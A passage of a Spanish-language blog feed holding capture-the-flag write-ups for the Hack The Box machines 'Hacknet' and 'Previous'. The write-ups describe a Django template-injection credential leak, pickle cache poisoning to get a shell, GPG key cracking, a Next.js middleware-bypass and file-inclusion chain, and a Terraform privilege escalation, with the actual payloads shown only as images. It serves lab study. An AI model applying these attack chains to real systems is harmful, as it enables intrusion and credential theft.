&lt;p&gt;Más adelante, se aprende a &lt;strong&gt;inyectar código malicioso en la caché&lt;/strong&gt; del sitio web, lo que permite la ejecución de comandos para obtener acceso como el usuario &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Finalmente, con el acceso del usuario &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt;, se &lt;strong&gt;crackea su clave GPG&lt;/strong&gt; para descomprimir los &lt;em&gt;backups&lt;/em&gt; de la máquina y, de esta manera, &lt;strong&gt;encontrar la clave de administrador&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;reconocimiento&quot;&gt;Reconocimiento&lt;/h1&gt;
&lt;p&gt;Comenzamos con el habitual escaneo de puertos. En este caso, se encuentra el &lt;strong&gt;puerto 22&lt;/strong&gt; (SSH), que no se puede atacar inicialmente por falta de credenciales, y el &lt;strong&gt;puerto 80&lt;/strong&gt; con una página web.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/73395c73-774b-45ee-91e2-04fd4f0808ec&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Para acceder al puerto 80, es necesario &lt;strong&gt;añadir la IP y el dominio al archivo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt;&lt;/strong&gt;. Una vez dentro, se presentan dos botones: uno para &lt;strong&gt;iniciar sesión&lt;/strong&gt; y otro para &lt;strong&gt;registrarse&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f719e8cc-6a36-4b97-ae4e-b67f45caf382&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dado que no se conocen usuarios, se procede a crear una &lt;strong&gt;nueva cuenta&lt;/strong&gt; para explorar el contenido.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/431a477e-ee54-4cbe-a6e6-6775202533fd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tras iniciar sesión, se observan varias secciones como “Profile”, “Contacts”, “Messages”, entre otras.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f6cb02e2-1bff-4401-99fc-d3005c4338df&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En la sección de “&lt;strong&gt;Search&lt;/strong&gt;” se pueden encontrar a todos los usuarios de la web.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/e8422fb5-31dd-48c6-8ded-8bfa1503114f&quot; /&gt;&lt;/p&gt;

&lt;p&gt;La sección “&lt;strong&gt;Explore&lt;/strong&gt;” muestra publicaciones de los usuarios, con opciones para dar “likes” y añadir comentarios.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/a24f3dca-0f6d-47c8-a1d0-98a45560c18f&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si se intercepta la petición al pulsar el botón de “likes”, se observa que se envía una solicitud a la &lt;strong&gt;URL &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/likes/22&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/7764e724-f873-4914-a5d0-a2b454a1863e&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al acceder directamente a esa URL, se visualizan los usuarios que han dado “like” a esa publicación. Además, &lt;strong&gt;al revisar el código fuente, se exponen todos los nombres de usuario&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/ac7bf96c-a84d-41d3-81ac-836fa95a2569&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Por último, utilizando la extensión de navegador “&lt;strong&gt;Wappalyzer&lt;/strong&gt;”, se descubre que la página web está construida con &lt;strong&gt;Django&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/154cf446-8a94-4eeb-8c06-1b7092620d4e&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Este dato sugiere la posibilidad de probar un &lt;strong&gt;&lt;em&gt;payload&lt;/em&gt; de plantilla de Django&lt;/strong&gt;, ya que el sitio web muestra nuestro nombre de usuario.&lt;/p&gt;
&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;Para que el ataque funcione, se requiere el campo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users&lt;/code&gt;, un número que indique el usuario y el campo que se desea extraer (en este caso, el correo electrónico).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/6428efb8-0703-498e-985e-c35fa56f44ab&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tras guardar los cambios y refrescar la página, al final del código fuente se encuentra &lt;strong&gt;una parte de la credencial filtrada&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/66039417-5776-4449-b4f6-0b86376783de&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sabiendo esto, se modifica el &lt;em&gt;payload&lt;/em&gt; para &lt;strong&gt;mostrar la contraseña&lt;/strong&gt; del usuario.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/1e92e3bf-cee9-4712-8173-6daaacc5d793&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/49884a59-af40-49ee-bc90-9f94572bb3c8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Después de una investigación exhaustiva en las cuentas de usuario de esa publicación, no se encontró nada útil, por lo que se probó con la publicación que tenía &lt;strong&gt;más “likes” en la plataforma&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/e923bfab-928f-46a2-82ce-c5ea9e0f2ae1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Aplicando el mismo &lt;em&gt;payload&lt;/em&gt; para extraer correos y probando múltiples veces, se identifica la credencial más interesante.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/7b39dbd8-3f02-44b6-a0bd-704513d3c1a7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con el &lt;em&gt;payload&lt;/em&gt; de la contraseña, se extrae el siguiente valor.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/8cb48048-70ec-494b-aca3-cad6f2c843f5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se intenta iniciar sesión con la cuenta de este usuario.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/e0c14a2b-a6e8-4e1d-a18f-ba06d2a7f520&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como se muestra en la imagen, el usuario &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deepdive&lt;/code&gt;&lt;/strong&gt; tenía una &lt;strong&gt;publicación oculta con un solo “like”&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/94ad3076-0e6a-4fe3-8c19-bca45e2bbe1c&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al revisar sus contactos, se encuentra que solo tiene agregado al usuario &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backdoor_bandit&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/8011dae4-468c-4a1f-bbd4-6d0ddcf37943&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se verifica que el usuario &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backdoor_bandit&lt;/code&gt;&lt;/strong&gt; es quien ha dado “like” a la publicación privada.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f5c32fc2-4e24-4b83-8f96-7b9a13ff0582&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Interceptando la petición con &lt;strong&gt;Burp Suite&lt;/strong&gt;, se determina que la publicación oculta tiene el &lt;strong&gt;número 23&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/c20be874-6e0f-43cf-9ed5-f3ba02f58a0f&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se cierra la sesión de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deepdive&lt;/code&gt;, se intercepta otro “like” de una publicación diferente, se &lt;strong&gt;manipula la petición y se cambia el número por 23&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/685c84c5-7b1f-4160-906c-f48d10f54fe0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si el ataque se ha realizado correctamente, al acceder a la URL de la publicación 23, se debe visualizar nuestro propio usuario.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/b89068df-1e14-49fd-a15c-fb92917fa5c1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Aplicando el &lt;em&gt;exploit&lt;/em&gt; utilizado anteriormente, se obtienen las credenciales de &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mikey@hacknet.htb&lt;/code&gt;&lt;/strong&gt;. Al intentar iniciar sesión por &lt;strong&gt;SSH&lt;/strong&gt; con este usuario, se consigue el acceso. En su carpeta se encuentra la &lt;strong&gt;primera &lt;em&gt;flag&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/4259ff0e-c32b-4d0c-b5d3-edfa474a84b5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Realizando un reconocimiento de la máquina para identificar carpetas con permisos de escritura para el usuario &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mikey&lt;/code&gt;, se descubre la ruta inusual &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/django_cache&lt;/code&gt;&lt;/strong&gt;. Se procede a &lt;strong&gt;envenenar la caché&lt;/strong&gt; antes de que sea eliminada para &lt;strong&gt;crear una &lt;em&gt;shell&lt;/em&gt; como el usuario &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/659ef16d-16c1-4b6f-867e-be1e8a3e6afe&quot; /&gt;&lt;/p&gt;

&lt;p&gt;El elemento principal de este &lt;em&gt;script&lt;/em&gt; es la librería &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pickle&lt;/code&gt;&lt;/strong&gt; para crear objetos maliciosos. Cuando la aplicación Django (ejecutándose con el usuario &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt;) &lt;strong&gt;deserializa la caché&lt;/strong&gt;, se creará la &lt;em&gt;shell&lt;/em&gt; en el directorio &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/0ffff79f-7f75-43dd-a810-00512e2e7ec7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se ejecuta el &lt;em&gt;script&lt;/em&gt; que genera el &lt;em&gt;payload&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/7de737a0-7693-4896-958f-7b40525f0c36&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se puede generar caché simplemente navegando por la web. Una vez que se tiene caché almacenada en la máquina, se utiliza el siguiente comando que permite &lt;strong&gt;añadir el &lt;em&gt;payload&lt;/em&gt; a todos los archivos y les otorga todos los permisos&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2fcadf6f-27a8-4449-8eef-d7008ab3e4b1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tras unos 5 segundos, el archivo se genera con los &lt;strong&gt;permisos del usuario &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/18a27003-afd6-47af-bef2-9eed9d194ab7&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;
&lt;p&gt;El último paso es la escalada de privilegios. El usuario &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt; tiene &lt;em&gt;backups&lt;/em&gt; de la web almacenados en la máquina, los cuales están &lt;strong&gt;comprimidos y cifrados con GPG&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/9c6e2c4c-cb9c-4328-a382-c557f9f2b434&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al acceder a su directorio, se encuentra una carpeta oculta: &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gnupg&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/993ebd33-03aa-4a75-a513-3dc459aeb090&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dentro de ella está el archivo con la clave necesaria para descifrar los &lt;em&gt;backups&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/68898288-f331-4e20-9179-dc00df4a8299&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si se guarda el contenido de ese archivo y se intenta importar en la máquina atacante, se solicita la clave, que aún no se conoce.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f89e813d-de9d-43c3-951a-f7368b606cd7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se intenta &lt;strong&gt;crackear la clave&lt;/strong&gt; utilizando la herramienta &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg2john&lt;/code&gt;&lt;/strong&gt; para extraer un &lt;em&gt;hash&lt;/em&gt; que luego pueda ser procesado por la herramienta &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;john&lt;/code&gt;&lt;/strong&gt; (John the Ripper).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/d61f4633-0671-47e2-9bf3-124e7140d00c&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se indica el formato, el diccionario y el archivo &lt;em&gt;hash&lt;/em&gt; generado. En poco tiempo, se obtiene la &lt;strong&gt;contraseña&lt;/strong&gt; para descifrar los &lt;em&gt;backups&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/3a109b61-0c7f-44d2-8f15-dde68ae66c25&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente, solo queda copiar los archivos a la máquina atacante para su descompresión.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/50c8ee2d-55f9-46cf-93af-a6f833186709&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Se importa la clave obtenida anteriormente.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/1aef1ece-90ff-489d-9a18-4f8f6b8fffa1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Y por último, se &lt;strong&gt;descomprime el archivo&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/e8a5af36-0af8-47e1-964f-ac391ea5cbf9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez descomprimido, al buscar por la palabra “&lt;strong&gt;password&lt;/strong&gt;”, se encuentra una conversación donde &lt;strong&gt;se filtra la clave de administrador&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/054ba06c-4212-4408-b5b3-7367b4a15904&quot; /&gt;&lt;/p&gt;

&lt;p&gt;De esta forma, se consigue acceder fácilmente al usuario &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;&lt;/strong&gt; y se obtiene la &lt;strong&gt;última &lt;em&gt;flag&lt;/em&gt;&lt;/strong&gt; de la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/ecc70427-18c4-4929-84a2-dc0e77a4f582&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;
&lt;p&gt;La explotación de Hacknet se ejecutó mediante una cadena de ataque en tres fases: primero, se utilizó una &lt;strong&gt;Inyección de Plantilla de Django (SSTI)&lt;/strong&gt; para extraer credenciales y obtener acceso inicial como el usuario &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mikey&lt;/code&gt;. Segundo, se escaló a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt; mediante el &lt;strong&gt;envenenamiento de la caché de Django&lt;/strong&gt; explotando una vulnerabilidad de deserialización de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pickle&lt;/code&gt;. Finalmente, se alcanzó el acceso a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; al &lt;strong&gt;crackear la clave GPG&lt;/strong&gt; de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandy&lt;/code&gt; para descifrar &lt;em&gt;backups&lt;/em&gt; que contenían las credenciales de administrador, destacando la necesidad de asegurar tanto el código de la aplicación como la gestión de claves criptográficas.&lt;/p&gt;

&lt;p&gt;Espero que os haya gustado esta máquina y nos vemos en la próxima.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/6f8b55e0-029f-4d6d-9bca-c747d7931696&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Sun, 18 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Hacknet</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Hacknet"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Hacknet</guid>
      </item>
    
      <item>
        <title>Previous WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Previous&lt;/strong&gt; es una máquina de HackTheBox de dificultad media. Para resolverla, tendremos que enumerar todos los puertos y servicios expuestos. En la aplicación web, veremos un inicio de sesión y una versión vulnerable del framework &lt;strong&gt;Next.js&lt;/strong&gt;. Al realizar fuzzing, explotaremos esta vulnerabilidad y encontraremos credenciales incrustadas en el código.&lt;/p&gt;

&lt;p&gt;Una vez accedamos a SSH con la cuenta del usuario y realicemos otra enumeración del sistema, descubriremos que el usuario puede ejecutar el programa &lt;strong&gt;Terraform&lt;/strong&gt; como administrador del sistema. Modificaremos archivos de configuración y un archivo que nos permitirá escalar privilegios, de modo que al ejecutarlo obtendremos privilegios de administrador y capturaremos la flag final.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;Previous&quot; src=&quot;https://github.com/user-attachments/assets/0f1d9dcf-cfaa-4cb1-83a1-cbafe197ab6f&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;reconocimiento&quot;&gt;Reconocimiento&lt;/h1&gt;
&lt;p&gt;Comenzando con &lt;strong&gt;nmap&lt;/strong&gt;, descubriremos que están abiertos el puerto &lt;strong&gt;22&lt;/strong&gt; (SSH) y el puerto &lt;strong&gt;80&lt;/strong&gt; (HTTP con nginx &lt;strong&gt;1.18.0&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;1&quot; src=&quot;https://github.com/user-attachments/assets/1e28b7b2-a175-407a-af38-6f5043eabdb7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No podremos acceder al puerto &lt;strong&gt;22&lt;/strong&gt; porque no conocemos ninguna de las credenciales. Al acceder al puerto &lt;strong&gt;80&lt;/strong&gt;, encontraremos dos botones (“Get Started”) que nos redirigen al mismo sitio.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;2&quot; src=&quot;https://github.com/user-attachments/assets/cd423f9a-5206-4cb8-811d-afc4775b1cf5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A simple vista, no encontraremos nada útil, pero al fijarnos en la URL, vemos que está buscando en la máquina el archivo &lt;strong&gt;“Docs”&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;3&quot; src=&quot;https://github.com/user-attachments/assets/407869c9-ec45-4930-b768-b5c98b2fb08d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Enumerando con la extensión de navegador &lt;strong&gt;Wappalyzer&lt;/strong&gt;, encontraremos la versión de &lt;strong&gt;Next.js&lt;/strong&gt; que utiliza la aplicación.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;4&quot; src=&quot;https://github.com/user-attachments/assets/f7b3e099-af3c-4cf2-9af7-e49faaf02b54&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;Una vez finalizada toda la enumeración, buscaremos y encontraremos una prueba de concepto como esta del usuario &lt;strong&gt;alihussainzada&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/alihussainzada/CVE-2025-29927-PoC&quot;&gt;Prueba de concepto&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Esta prueba de concepto demuestra que el framework &lt;strong&gt;Next.js&lt;/strong&gt; es vulnerable a la cabecera &lt;strong&gt;x-middleware-subrequest&lt;/strong&gt;. Sabiendo esto, utilizaremos herramientas para hacer fuzzing, como &lt;strong&gt;dirsearch&lt;/strong&gt;, añadiendo el parámetro &lt;strong&gt;-H&lt;/strong&gt; para incluir la cabecera.&lt;/p&gt;

&lt;p&gt;Con un poco de paciencia, encontraremos el directorio &lt;strong&gt;api&lt;/strong&gt; y dentro de él, &lt;strong&gt;download&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;5&quot; src=&quot;https://github.com/user-attachments/assets/f3fd7bdd-f878-4115-b7b9-d35bca97985a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download&lt;/strong&gt; puede ser el directorio que lista los contenidos de la web. Nos falta encontrar el parámetro que utiliza para listar archivos. Utilizando la herramienta &lt;strong&gt;ffuf&lt;/strong&gt;, podremos realizar fuzzing nuevamente para encontrar el parámetro.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;6&quot; src=&quot;https://github.com/user-attachments/assets/bcdfb434-f74d-4e26-a39e-6dcf04eab1f2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sabiendo el directorio y el parámetro, hacemos una prueba de concepto para demostrar que es vulnerable a &lt;strong&gt;Local File Inclusion&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;7&quot; src=&quot;https://github.com/user-attachments/assets/8e040d7b-80b6-4115-9fd9-6cc611e7f77b&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora toca enumerar los archivos hasta encontrar bases de datos o credenciales para acceder a la máquina. Lo primero y más importante es conocer cómo se estructura un proyecto de &lt;strong&gt;Next.js&lt;/strong&gt;. En esta web podremos ver qué archivos y carpetas se crean al generar un proyecto nuevo:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://nextjs.org/docs/app/getting-started/project-structure&quot;&gt;Documentación de Next.js&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Conociendo un poco más la aplicación, encontraremos este archivo, que nos indica las variables de entorno.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;9&quot; src=&quot;https://github.com/user-attachments/assets/2a6ec1f6-bc44-42ac-be7c-bb5292ee28b3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al seguir enumerando la máquina, encontramos este archivo que puede sugerir dónde están las credenciales.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;10&quot; src=&quot;https://github.com/user-attachments/assets/a7484382-5dd1-41fd-a5ee-3b9506a2e79a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;El archivo tiene caracteres especiales en el nombre, así que tendremos que codificarlo a URL para poder listar el archivo sin problemas. Cuando veamos su contenido, nos costará mucho leerlo, así que debemos utilizar páginas web como &lt;strong&gt;“js-beautify”&lt;/strong&gt; para facilitar la lectura.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;11&quot; src=&quot;https://github.com/user-attachments/assets/3228d415-1e30-4e3d-be6c-f9bec00839c4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Pegando el contenido del archivo y pulsando en el botón de &lt;strong&gt;“Beautify Code”&lt;/strong&gt;, se nos facilitará la lectura.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;12&quot; src=&quot;https://github.com/user-attachments/assets/8e1ee479-3b1e-467f-9d51-6eb28cee9b13&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En el contenido del archivo, podremos ver credenciales. Probaremos a iniciar sesión con ellas.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;13&quot; src=&quot;https://github.com/user-attachments/assets/0d6f17f0-69b5-483f-ab93-3abcaa708bfb&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hemos podido acceder al SSH; ahora podremos obtener la primera flag.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;14&quot; src=&quot;https://github.com/user-attachments/assets/bbbe2821-f7b5-4b64-a042-c05a66604523&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;

&lt;p&gt;Una vez accedido al usuario &lt;strong&gt;jeremy&lt;/strong&gt;, tendremos que buscar algo que nos permita escalar privilegios. En este caso, el programa &lt;strong&gt;Terraform&lt;/strong&gt; puede ser ejecutado por &lt;strong&gt;jeremy&lt;/strong&gt; con privilegios de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;15&quot; src=&quot;https://github.com/user-attachments/assets/ccf5e216-bed3-404d-a42c-6a189a18cdec&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Investigamos cómo funciona la aplicación &lt;strong&gt;Terraform&lt;/strong&gt;. Para ejecutar esta aplicación, es necesario utilizar un directorio para aplicar una configuración. Si visualizamos el código, aprenderemos que necesita un archivo &lt;strong&gt;“examples”&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;16&quot; src=&quot;https://github.com/user-attachments/assets/7ab56cc2-45a5-4fbd-9277-2bb4e4ea1fd5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Mirando otros archivos, podemos encontrar uno que nos enseña cómo la aplicación gestiona la infraestructura de la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;17&quot; src=&quot;https://github.com/user-attachments/assets/d8246a5d-b736-4490-a523-db424bffe609&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dentro del directorio de &lt;strong&gt;jeremy&lt;/strong&gt;, hay un archivo oculto llamado &lt;strong&gt;.terraformrc&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;18&quot; src=&quot;https://github.com/user-attachments/assets/da267f6f-5ee1-40a4-b38f-5cda0cbc02cc&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Podemos editarlo para añadir un archivo que nos permita escalar privilegios.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;19&quot; src=&quot;https://github.com/user-attachments/assets/7506ae90-7c96-4dc0-be73-6beba106618d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Creamos un archivo en &lt;strong&gt;C&lt;/strong&gt; simple que mejorará nuestra shell con permisos de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;20&quot; src=&quot;https://github.com/user-attachments/assets/0eb5da55-16d0-4d0a-8c66-6ef85f149462&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lo compilamos con &lt;strong&gt;gcc&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;21&quot; src=&quot;https://github.com/user-attachments/assets/acfa7e43-02ae-4b48-95ff-85387db46d20&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente, lo ejecutaremos. Puede dar un fallo indicando que no ha podido cargar algunas estructuras, pero lo importante es que nuestro payload sí se ha cargado.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;22&quot; src=&quot;https://github.com/user-attachments/assets/590e3c4a-6423-45ff-8824-e6aebf491069&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ejecutando el comando &lt;strong&gt;bash -p&lt;/strong&gt;, mejoraremos la shell y obtendremos la segunda flag.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;23&quot; src=&quot;https://github.com/user-attachments/assets/5b2b98bf-2740-4af9-b7b0-83e9d2c24537&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;

